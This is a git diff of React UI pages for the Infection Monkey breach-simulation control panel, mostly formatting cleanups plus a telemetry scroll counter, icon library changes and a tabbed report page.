showAttackAlert: false }; } - getUiSchemas(){ + getUiSchemas() { return ({ - basic: {"ui:order": ["general", "credentials"]}, + basic: {'ui:order': ['general', 'credentials']}, basic_network: {}, monkey: { behaviour: { custom_PBA_linux_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" + 'ui:widget': 'textarea', + 'ui:emptyValue': '' }, PBA_linux_file: { - "ui:widget": this.PBAlinux + 'ui:widget': this.PBAlinux }, custom_PBA_windows_cmd: { - "ui:widget": "textarea", - "ui:emptyValue": "" + 'ui:widget': 'textarea', + 'ui:emptyValue': '' }, PBA_windows_file: { - "ui:widget": this.PBAwindows + 'ui:widget': this.PBAwindows }, PBA_linux_filename: { - classNames: "linux-pba-file-info", - "ui:emptyValue": "" + classNames: 'linux-pba-file-info', + 'ui:emptyValue': '' }, PBA_windows_filename: { - classNames: "windows-pba-file-info", - "ui:emptyValue": "" + classNames: 'windows-pba-file-info', + 'ui:emptyValue': '' } } }, @@ -94,8 +94,11 @@ class ConfigurePageComponent extends AuthComponent { this.setInitialConfig(monkeyConfig.configuration); this.setInitialAttackConfig(attackConfig.configuration); for (let sectionKey of this.sectionsOrder) { - if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})} - else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});} + if (sectionKey === 'attack') { + sections.push({key: sectionKey, title: 'ATT&CK'}) + } else { + sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title}); + } } this.setState({ schema: monkeyConfig.schema, @@ -110,15 +113,15 @@ class ConfigurePageComponent extends AuthComponent { updateConfig = () => { this.authFetch(CONFIG_URL) - .then(res => res.json()) - .then(data => { - this.setInitialConfig(data.configuration); - this.setState({configuration: data.configuration}) - }) + .then(res => res.json()) + .then(data => { + this.setInitialConfig(data.configuration); + this.setState({configuration: data.configuration}) + }) }; onSubmit = () => { - if (this.state.selectedSection === 'attack'){ + if (this.state.selectedSection === 'attack') { this.matrixSubmit() } else { this.configSubmit() @@ -134,16 +137,18 @@ class ConfigurePageComponent extends AuthComponent { body: JSON.stringify(this.state.attackConfig) }) .then(res => { - if (!res.ok) - { + if (!res.ok) { throw Error() } return res; }) - .then(() => {this.setInitialAttackConfig(this.state.attackConfig);}) + .then(() => { + this.setInitialAttackConfig(this.state.attackConfig); + }) .then(this.updateConfig()) .then(this.setState({lastAction: 'saved'})) .catch(error => { + console.log('Bad configuration: ' + error.toString()); this.setState({lastAction: 'invalid_configuration'}); }); }; @@ -162,28 +167,28 @@ class ConfigurePageComponent extends AuthComponent { this.setInitialConfig(res.configuration); this.props.onStatusChange(); }).catch(error => { - console.log('bad configuration'); + console.log('Bad configuration: ' + error.toString()); this.setState({lastAction: 'invalid_configuration'}); - }); + }); }; // Alters attack configuration when user toggles technique - attackTechniqueChange = (technique, value, mapped=false) => { + attackTechniqueChange = (technique, value, mapped = false) => { // Change value in attack configuration // Go trough each column in matrix, searching for technique Object.entries(this.state.attackConfig).forEach(techType => { - if(techType[1].properties.hasOwnProperty(technique)){ + if (techType[1].properties.hasOwnProperty(technique)) { let tempMatrix = this.state.attackConfig; tempMatrix[techType[0]].properties[technique].value = value; this.setState({attackConfig: tempMatrix}); // Toggle all mapped techniques - if (! mapped ){ + if (!mapped) { // Loop trough each column and each row Object.entries(this.state.attackConfig).forEach(otherType => { Object.entries(otherType[1].properties).forEach(otherTech => { // If this technique depends on a technique that was changed - if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){ + if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) { this.attackTechniqueChange(otherTech[0], value, true) } }) @@ -207,41 +212,47 @@ class ConfigurePageComponent extends AuthComponent { }; renderAttackAlertModal = () => { - return (<Modal show={this.state.showAttackAlert} onHide={() => {this.setState({showAttackAlert: false})}}> - <Modal.Body> - <h2><div className="text-center">Warning</div></h2> - <p className = "text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}> - You have unsubmitted changes. Submit them before proceeding. - </p> - <div className="text-center"> - <button type="button" - className="btn btn-success btn-lg" - style={{margin: '5px'}} - onClick={() => {this.setState({showAttackAlert: false})}} > - Cancel - </button> - </div> - </Modal.Body> - </Modal>) + return (<Modal show={this.state.showAttackAlert} onHide={() => { + this.setState({showAttackAlert: false}) + }}> + <Modal.Body> + <h2> + <div className="text-center">Warning</div> + </h2> + <p className="text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}> + You have unsubmitted changes. Submit them before proceeding. + </p> + <div className="text-center"> + <button type="button" + className="btn btn-success btn-lg" + style={{margin: '5px'}} + onClick={() => { + this.setState({showAttackAlert: false}) + }}> + Cancel + </button> + </div> + </Modal.Body> + </Modal>) }; - userChangedConfig(){ - if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){ - if(Object.keys(this.currentFormData).length === 0 || - JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){ + userChangedConfig() { + if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) { + if (Object.keys(this.currentFormData).length === 0 || + JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)) { return false; } } return true; } - userChangedMatrix(){ + userChangedMatrix() { return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig)) } setSelectedSection = (key) => { if ((key === 'attack' && this.userChangedConfig()) || - (this.currentSection === 'attack' && this.userChangedMatrix())){ + (this.currentSection === 'attack' && this.userChangedMatrix())) { this.setState({showAttackAlert: true}); return; } @@ -270,9 +281,11 @@ class ConfigurePageComponent extends AuthComponent { this.setInitialConfig(res.configuration); this.props.onStatusChange(); }); - this.authFetch(ATTACK_URL,{ method: 'POST', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify('reset_attack_matrix')}) + this.authFetch(ATTACK_URL, { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify('reset_attack_matrix') + }) .then(res => res.json()) .then(res => { this.setState({attackConfig: res.configuration}); @@ -280,16 +293,18 @@ class ConfigurePageComponent extends AuthComponent { }) }; - removePBAfiles(){ + removePBAfiles() { // We need to clean files from widget, local state and configuration (to sync with bac end) - if (this.PBAwindowsPond !== null){ + if (this.PBAwindowsPond !== null) { this.PBAwindowsPond.removeFile(); } - if (this.PBAlinuxPond !== null){ + if (this.PBAlinuxPond !== null) { this.PBAlinuxPond.removeFile(); } - let request_options = {method: 'DELETE', - headers: {'Content-Type': 'text/plain'}}; + let request_options = { + method: 'DELETE', + headers: {'Content-Type': 'text/plain'} + }; this.authFetch('/api/fileUpload/PBAlinux', request_options); this.authFetch('/api/fileUpload/PBAwindows', request_options); this.setState({PBAlinuxFile: [], PBAwinFile: []}); @@ -300,37 +315,42 @@ class ConfigurePageComponent extends AuthComponent { this.setState({ configuration: JSON.parse(event.target.result), lastAction: 'import_success' - }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))}); + }, () => { + this.sendConfig(); + this.setInitialConfig(JSON.parse(event.target.result)) + }); this.currentFormData = {}; - } catch(SyntaxError) { + } catch (SyntaxError) { this.setState({lastAction: 'import_failure'}); } }; exportConfig = () => { this.updateConfigSection(); - fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf'); + const configAsJson = JSON.stringify(this.state.configuration, null, 2); + const configAsBinary = new Blob([configAsJson], {type: 'text/plain;charset=utf-8'}); + + FileSaver.saveAs(configAsBinary, 'monkey.conf'); }; sendConfig() { return ( this.authFetch('/api/configuration/island', - { - method: 'POST', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(this.state.configuration) - }) - .then(res => { - if (!res.ok) { - throw Error() - } - return res; - }).catch(error => { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(this.state.configuration) + }) + .then(res => { + if (!res.ok) { + throw Error() + } + return res; + }).catch(error => { console.log('bad configuration'); this.setState({lastAction: 'invalid_configuration'}); })); - }; + } importConfig = (event) => { let reader = new FileReader(); @@ -343,24 +363,19 @@ class ConfigurePageComponent extends AuthComponent { this.authFetch('/api') .then(res => res.json()) .then(res => { - // This check is used to prevent unnecessary re-rendering - let allMonkeysAreDead = (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']); - if (allMonkeysAreDead !== this.state.allMonkeysAreDead) { - this.setState({ - allMonkeysAreDead: allMonkeysAreDead - }); - } + this.setState({monkeysRan: res['completed_steps']['run_monkey']}); }); }; PBAwindows = () => { return (<FilePond - server={{ url:'/api/fileUpload/PBAwindows', - process: {headers: {'Authorization': this.jwtHeader}}, - revert: {headers: {'Authorization': this.jwtHeader}}, - restore: {headers: {'Authorization': this.jwtHeader}}, - load: {headers: {'Authorization': this.jwtHeader}}, - fetch: {headers: {'Authorization': this.jwtHeader}} + server={{ + url: '/api/fileUpload/PBAwindows', + process: {headers: {'Authorization': this.jwtHeader}}, + revert: {headers: {'Authorization': this.jwtHeader}}, + restore: {headers: {'Authorization': this.jwtHeader}}, + load: {headers: {'Authorization': this.jwtHeader}}, + fetch: {headers: {'Authorization': this.jwtHeader}} }} files={this.getWinPBAfile()} onupdatefiles={fileItems => { @@ -374,12 +389,13 @@ class ConfigurePageComponent extends AuthComponent { PBAlinux = () => { return (<FilePond - server={{ url:'/api/fileUpload/PBAlinux', - process: {headers: {'Authorization': this.jwtHeader}}, - revert: {headers: {'Authorization': this.jwtHeader}}, - restore: {headers: {'Authorization': this.jwtHeader}}, - load: {headers: {'Authorization': this.jwtHeader}}, - fetch: {headers: {'Authorization': this.jwtHeader}} + server={{ + url: '/api/fileUpload/PBAlinux', + process: {headers: {'Authorization': this.jwtHeader}}, + revert: {headers: {'Authorization': this.jwtHeader}}, + restore: {headers: {'Authorization': this.jwtHeader}}, + load: {headers: {'Authorization': this.jwtHeader}}, + fetch: {headers: {'Authorization': this.jwtHeader}} }} files={this.getLinuxPBAfile()} onupdatefiles={fileItems => { @@ -391,23 +407,23 @@ class ConfigurePageComponent extends AuthComponent { />) }; - getWinPBAfile(){ - if (this.state.PBAwinFile.length !== 0){ + getWinPBAfile() { + if (this.state.PBAwinFile.length !== 0) { return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0]) - } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){ + } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename) { return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename) } } - getLinuxPBAfile(){ - if (this.state.PBAlinuxFile.length !== 0){ + getLinuxPBAfile() { + if (this.state.PBAlinuxFile.length !== 0) { return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0]) } else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) { return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename) } } - static getFullPBAfile(filename){ + static getFullPBAfile(filename) { return [{ source: filename, options: { @@ -416,7 +432,7 @@ class ConfigurePageComponent extends AuthComponent { }]; } - static getMockPBAfile(mockFile){ + static getMockPBAfile(mockFile) { let pbaFile = [{ source: mockFile.name, options: { @@ -428,48 +444,48 @@ class ConfigurePageComponent extends AuthComponent { } renderMatrix = () => { - return (<MatrixComponent configuration={this.state.attackConfig} - submit={this.componentDidMount} - reset={this.resetConfig} - change={this.attackTechniqueChange}/>) + return (<ConfigMatrixComponent configuration={this.state.attackConfig} + submit={this.componentDidMount} + reset={this.resetConfig} + change={this.attackTechniqueChange}/>) }; renderConfigContent = (displayedSchema) => { return (<div> - {this.renderBasicNetworkWarning()} - <Form schema={displayedSchema} - uiSchema={this.uiSchemas[this.state.selectedSection]} - formData={this.state.configuration[this.state.selectedSection]} - onChange={this.onChange} - noValidate={true} > - <button type="submit" className={"hidden"}>Submit</button> - </Form> - </div> ) + {this.renderBasicNetworkWarning()} + <Form schema={displayedSchema} + uiSchema={this.uiSchemas[this.state.selectedSection]} + formData={this.state.configuration[this.state.selectedSection]} + onChange={this.onChange} + noValidate={true}> + <button type="submit" className={'hidden'}>Submit</button> + </Form> + </div>) }; - renderRunningMonkeysWarning = () => { + renderConfigWontChangeWarning = () => { return (<div> - { this.state.allMonkeysAreDead ? - '' : - <div className="alert alert-warning"> - <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/> - Some monkeys are currently running. Note that changing the configuration will only apply to new - infections. - </div> - } - </div>) + {this.state.monkeysRan ? + <div className="alert alert-warning"> + <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/> + Changed configuration will only apply to new infections. + "Start over" to run again with different configuration. + </div> + : '' + } + </div>) }; renderBasicNetworkWarning = () => { - if (this.state.selectedSection === 'basic_network'){ + if (this.state.selectedSection === 'basic_network') { return (<div className="alert alert-info"> - <i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/> - The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines - according to its range class. - </div>) + <i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/> + The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines + according to its range class. + </div>) } else { - return (<div />) + return (<div/>) } }; @@ -477,8 +493,8 @@ class ConfigurePageComponent extends AuthComponent { return (<Nav bsStyle="tabs" justified activeKey={this.state.selectedSection} onSelect={this.setSelectedSection} style={{'marginBottom': '2em'}}> - {this.state.sections.map(section => <NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>)} - </Nav>) + {this.state.sections.map(section => <NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>)} + </Nav>) }; render() { @@ -488,9 +504,9 @@ class ConfigurePageComponent extends AuthComponent { displayedSchema['definitions'] = this.state.schema['definitions']; } let content = ''; - if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) { + if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) { content = this.renderMatrix() - } else if(this.state.selectedSection !== 'attack') { + } else if (this.state.selectedSection !== 'attack') { content = this.renderConfigContent(displayedSchema) } return ( @@ -498,8 +514,8 @@ class ConfigurePageComponent extends AuthComponent { {this.renderAttackAlertModal()} <h1 className="page-title">Monkey Configuration</h1> {this.renderNav()} - { this.renderRunningMonkeysWarning()} - { content } + {this.renderConfigWontChangeWarning()} + {content} <div className="text-center"> <button type="submit" onClick={this.onSubmit} className="btn btn-success btn-lg" style={{margin: '5px'}}> Submit @@ -513,37 +529,37 @@ class ConfigurePageComponent extends AuthComponent { className="btn btn-info btn-lg" style={{margin: '5px'}}> Import Config </button> - <input id="uploadInputInternal" type="file" accept=".conf" onChange={this.importConfig} style={{display: 'none'}} /> + <input id="uploadInputInternal" type="file" accept=".conf" onChange={this.importConfig} style={{display: 'none'}}/> <button type="button" onClick={this.exportConfig} className="btn btn-info btn-lg" style={{margin: '5px'}}> Export config </button> </div> <div> - { this.state.lastAction === 'reset' ? + {this.state.lastAction === 'reset' ? <div className="alert alert-success"> <i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/> Configuration reset successfully. </div> : ''} - { this.state.lastAction === 'saved' ? + {this.state.lastAction === 'saved' ? <div className="alert alert-success"> <i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/> Configuration saved successfully. </div> : ''} - { this.state.lastAction === 'import_failure' ? + {this.state.lastAction === 'import_failure' ? <div className="alert alert-danger"> <i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/> Failed importing configuration. Invalid config file. </div> : ''} - { this.state.lastAction === 'invalid_configuration' ? + {this.state.lastAction === 'invalid_configuration' ? <div className="alert alert-danger"> <i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/> An invalid configuration file was imported or submitted. </div> : ''} - { this.state.lastAction === 'import_success' ? + {this.state.lastAction === 'import_success' ? <div className="alert alert-success"> <i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/> Configuration imported successfully. diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js index b7a2ec077..149a527a6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js @@ -1,5 +1,6 @@ import React from 'react'; import {Col} from 'react-bootstrap'; +import rainge from 'rainge' class LicensePageComponent extends React.Component { constructor(props) { @@ -18,8 +19,8 @@ class LicensePageComponent extends React.Component { <h1 className="page-title">License</h1> <div style={{'fontSize': '1.2em'}}> <p> - Copyright <i className="glyphicon glyphicon-copyright-mark" /> 2017 Guardicore Ltd. - <br /> + Copyright <i className="glyphicon glyphicon-copyright-mark"/> {rainge(2015)} Guardicore Ltd. + <br/> Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" target="_blank">GPLv3</a>. </p> <p> diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index 4d074c835..3839e55fd 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -1,10 +1,11 @@ import React from 'react'; import {Col, Modal} from 'react-bootstrap'; import {Link} from 'react-router-dom'; -import {Icon} from 'react-fa'; -import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' +import { faStopCircle, faMinus } from '@fortawesome/free-solid-svg-icons' +import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import {options, edgeGroupToColor} from 'components/map/MapOptions'; +import {getOptions, edgeGroupToColor} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; class MapPageComponent extends AuthComponent { @@ -12,13 +13,20 @@ class MapPageComponent extends AuthComponent { super(props); this.state = { graph: {nodes: [], edges: []}, + nodeStateList:[], selected: null, selectedType: null, killPressed: false, showKillDialog: false, telemetry: [], - telemetryLastTimestamp: null + telemetryLastTimestamp: null, + isScrolledUp: false, + telemetryLines: 0, + telemetryCurrentLine: 0 }; + this.telemConsole = React.createRef(); + this.handleScroll = this.handleScroll.bind(this); + this.scrollTop = 0; } events = { @@ -26,6 +34,7 @@ class MapPageComponent extends AuthComponent { }; componentDidMount() { + this.getNodeStateListFromServer(); this.updateMapFromServer(); this.interval = setInterval(this.timedEvents, 5000); } @@ -34,6 +43,14 @@ class MapPageComponent extends AuthComponent { clearInterval(this.interval); } + getNodeStateListFromServer = () => { + this.authFetch('/api/netmap/nodeStates') + .then(res => res.json()) + .then(res => { + this.setState({nodeStateList: res.node_states}); + }); + }; + timedEvents = () => { this.updateMapFromServer(); this.updateTelemetryFromServer(); @@ -43,26 +60,36 @@ class MapPageComponent extends AuthComponent { this.authFetch('/api/netmap') .then(res => res.json()) .then(res => { - res.edges.forEach(edge => { - edge.color = {'color': edgeGroupToColor(edge.group)}; - }); - this.setState({graph: res}); - this.props.onStatusChange(); + if (res.hasOwnProperty('edges')) { + res.edges.forEach(edge => { + edge.color = {'color': edgeGroupToColor(edge.group)}; + }); + this.setState({graph: res}); + this.props.onStatusChange(); + } }); }; updateTelemetryFromServer = () => { - this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp) + this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp) .then(res => res.json()) .then(res => { - let newTelem = this.state.telemetry.concat(res['telemetries']); + if ('telemetries' in res) { + let newTelem = this.state.telemetry.concat(res['telemetries']); - this.setState( - { - telemetry: newTelem, - telemetryLastTimestamp: res['timestamp'] - }); - this.props.onStatusChange(); + this.setState( + { + telemetry: newTelem, + telemetryLastTimestamp: res['timestamp'] + }); + this.props.onStatusChange(); + + let telemConsoleRef = this.telemConsole.current; + if (!this.state.isScrolledUp) { + telemConsoleRef.scrollTop = telemConsoleRef.scrollHeight - telemConsoleRef.clientHeight; + this.scrollTop = telemConsoleRef.scrollTop; + } + } }); }; @@ -71,8 +98,7 @@ class MapPageComponent extends AuthComponent { this.authFetch('/api/netmap/node?id=' + event.nodes[0]) .then(res => res.json()) .then(res => this.setState({selected: res, selectedType: 'node'})); - } - else if (event.edges.length === 1) { + } else if (event.edges.length === 1) { let displayedEdge = this.state.graph.edges.find( function (edge) { return edge['id'] === event.edges[0]; @@ -84,8 +110,7 @@ class MapPageComponent extends AuthComponent { .then(res => res.json()) .then(res => this.setState({selected: res.edge, selectedType: 'edge'})); } - } - else { + } else { this.setState({selected: null, selectedType: null}); } } @@ -100,7 +125,9 @@ class MapPageComponent extends AuthComponent { return ( <Modal show={this.state.showKillDialog} onHide={() => this.setState({showKillDialog: false})}> <Modal.Body> - <h2><div className="text-center">Are you sure you want to kill all monkeys?</div></h2> + <h2> + <div className="text-center">Are you sure you want to kill all monkeys?</div> + </h2> <p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}> This might take a few moments... </p> @@ -133,9 +160,22 @@ class MapPageComponent extends AuthComponent { ); } + handleScroll(e) { + let element = e.target; + + let telemetryStyle = window.getComputedStyle(element); + let telemetryLineHeight = parseInt((telemetryStyle.lineHeight).replace('px', '')); + + this.setState({ + isScrolledUp: (element.scrollTop < this.scrollTop), + telemetryCurrentLine: Math.trunc(element.scrollTop/telemetryLineHeight)+1, + telemetryLines: Math.trunc(element.scrollHeight/telemetryLineHeight) + }); + } + renderTelemetryConsole() { return ( - <div className="telemetry-console"> + <div className="telemetry-console" onScroll={this.handleScroll} ref={this.telemConsole}> { this.state.telemetry.map(this.renderTelemetryEntry) } @@ -143,6 +183,14 @@ class MapPageComponent extends AuthComponent { ); } + renderTelemetryLineCount() { + return ( + <div className="telemetry-lines"> + <b>[{this.state.telemetryCurrentLine}/{this.state.telemetryLines}]</b> + </div> + ); + } + render() { return ( <div> @@ -153,18 +201,19 @@ class MapPageComponent extends AuthComponent { <Col xs={8}> <div className="map-legend"> <b>Legend: </b> - <span>Exploit <i className="fa fa-lg fa-minus" style={{color: '#cc0200'}} /></span> + <span>Exploit <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#cc0200'}}/></span> <b style={{color: '#aeaeae'}}> | </b> - <span>Scan <i className="fa fa-lg fa-minus" style={{color: '#ff9900'}} /></span> + <span>Scan <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#ff9900'}}/></span> <b style={{color: '#aeaeae'}}> | </b> - <span>Tunnel <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}} /></span> + <span>Tunnel <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#0158aa'}}/></span> <b style={{color: '#aeaeae'}}> | </b> - <span>Island Communication <i className="fa fa-lg fa-minus" style={{color: '#a9aaa9'}} /></span> + <span>Island Communication <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#a9aaa9'}}/></span> </div> - { this.renderTelemetryConsole() } + {this.renderTelemetryConsole()} <div style={{height: '80vh'}}> - <ReactiveGraph graph={this.state.graph} options={options} events={this.events}/> + <ReactiveGraph graph={this.state.graph} options={getOptions(this.state.nodeStateList)} events={this.events}/> </div> + {this.renderTelemetryLineCount()} </Col> <Col xs={4}> <input className="form-control input-block" @@ -174,8 +223,9 @@ class MapPageComponent extends AuthComponent { <div style={{'overflow': 'auto', 'marginBottom': '1em'}}> <Link to="/infection/telemetry" className="btn btn-default pull-left" style={{'width': '48%'}}>Monkey Telemetry</Link> - <button onClick={() => this.setState({showKillDialog: true})} className="btn btn-danger pull-right" style={{'width': '48%'}}> - <Icon name="stop-circle" style={{'marginRight': '0.5em'}}/> + <button onClick={() => this.setState({showKillDialog: true})} className="btn btn-danger pull-right" + style={{'width': '48%'}}> + <FontAwesomeIcon icon={faStopCircle} style={{'marginRight': '0.5em'}}/> Kill All Monkeys </button> </div> @@ -186,7 +236,7 @@ class MapPageComponent extends AuthComponent { </div> : ''} - <InfMapPreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/> + <PreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/> </Col> </div> ); diff --git a/monkey/monkey_island/cc/ui/src/components/pages/NotFoundPage.js b/monkey/monkey_island/cc/ui/src/components/pages/NotFoundPage.js new file mode 100644 index 000000000..e46970ac4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/NotFoundPage.js @@ -0,0 +1,25 @@ +import React from 'react'; + +import '../../styles/NotFoundPage.scss'; + +let monkeyDetective = require('../../images/detective-monkey.svg'); + +class ConfigurePageComponent extends React.Component{ + constructor(props) { + super(props); + } + + render(){ + return( + <div className={'not-found'}> + <img className={'monkey-detective'} src={monkeyDetective}/> + <div className={'text-block'}> + <h1 className={'not-found-title'}>404</h1> + <h2 className={'not-found-subtitle'}>Page not found</h2> + </div> + </div> + ) + } +} + +export default ConfigurePageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 20faafca7..af102c57e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -1,12 +1,8 @@ import React from 'react'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import AuthComponent from '../AuthComponent'; -import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions'; -import PreviewPane from "../map/preview-pane/PreviewPane"; -import {Col} from "react-bootstrap"; -import {Link} from 'react-router-dom'; -import {Icon} from 'react-fa'; -import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane"; +import {optionsPth} from '../map/MapOptions'; +import {Col} from 'react-bootstrap'; class PassTheHashMapPageComponent extends AuthComponent { constructor(props) { @@ -29,15 +25,13 @@ class PassTheHashMapPageComponent extends AuthComponent { return node['id'] === event.nodes[0]; }); this.setState({selected: displayedNode, selectedType: 'node'}) - } - else if (event.edges.length === 1) { + } else if (event.edges.length === 1) { let displayedEdge = this.state.graph.edges.find( function (edge) { return edge['id'] === event.edges[0]; }); - this.setState({selected: displayedEdge, selectedType: 'edge'}); - } - else { + this.setState({selected: displayedEdge, selectedType: 'edge'}); + } else { this.setState({selected: null, selectedType: null}); } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 68ba84aa6..909659e87 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -1,97 +1,88 @@ -import React, {Fragment} from 'react'; -import {Button, Col} from 'react-bootstrap'; -import BreachedServers from 'components/report-components/security/BreachedServers'; -import ScannedServers from 'components/report-components/security/ScannedServers'; -import PostBreach from 'components/report-components/security/PostBreach'; -import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import StolenPasswords from 'components/report-components/security/StolenPasswords'; -import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell'; -import {Line} from 'rc-progress'; -import AuthComponent from '../AuthComponent'; -import PassTheHashMapPageComponent from "./PassTheHashMapPage"; -import StrongUsers from "components/report-components/security/StrongUsers"; -import AttackReport from "components/report-components/security/AttackReport"; -import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; -import ReportLoader from "../report-components/common/ReportLoader"; -import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; -import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance"; -import PrintReportButton from "../report-components/common/PrintReportButton"; -import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; +import '../../styles/report/ReportPage.scss'; -let guardicoreLogoImage = require('../../images/guardicore-logo.png'); +import React from 'react'; +import {Route} from 'react-router-dom'; +import {Col, Nav, NavItem} from 'react-bootstrap'; +import AuthComponent from '../AuthComponent'; +import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning'; +import AttackReport from '../report-components/AttackReport' +import SecurityReport from '../report-components/SecurityReport' +import ZeroTrustReport from '../report-components/ZeroTrustReport' +import {extractExecutionStatusFromServerResponse} from '../report-components/common/ExecutionStatus'; +import MonkeysStillAliveWarning from '../report-components/common/MonkeysStillAliveWarning'; class ReportPageComponent extends AuthComponent { - Issue = - { - WEAK_PASSWORD: 0, - STOLEN_CREDS: 1, - ELASTIC: 2, - SAMBACRY: 3, - SHELLSHOCK: 4, - CONFICKER: 5, - AZURE: 6, - STOLEN_SSH_KEYS: 7, - STRUTS2: 8, - WEBLOGIC: 9, - HADOOP: 10, - PTH_CRIT_SERVICES_ACCESS: 11, - MSSQL: 12, - VSFTPD: 13 - }; - - Warning = - { - CROSS_SEGMENT: 0, - TUNNEL: 1, - SHARED_LOCAL_ADMIN: 2, - SHARED_PASSWORDS: 3, - SHARED_PASSWORDS_DOMAIN: 4 - }; - constructor(props) { super(props); + this.sectionsOrder = ['security', 'zeroTrust', 'attack']; this.state = { - report: {}, - graph: {nodes: [], edges: []}, + securityReport: {}, + attackReport: {}, + zeroTrustReport: {}, allMonkeysAreDead: false, - runStarted: true + runStarted: true, + selectedSection: ReportPageComponent.selectReport(this.sectionsOrder), + sections: [{key: 'security', title: 'Security report'}, + {key: 'zeroTrust', title: 'Zero trust report'}, + {key: 'attack', title: 'ATT&CK report'}] }; } - componentDidMount() { - this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); - this.updateMapFromServer(); + static selectReport(reports){ + let url = window.location.href; + for (let report_name in reports){ + if (reports.hasOwnProperty(report_name) && url.endsWith(reports[report_name])){ + return reports[report_name]; + } + } } + 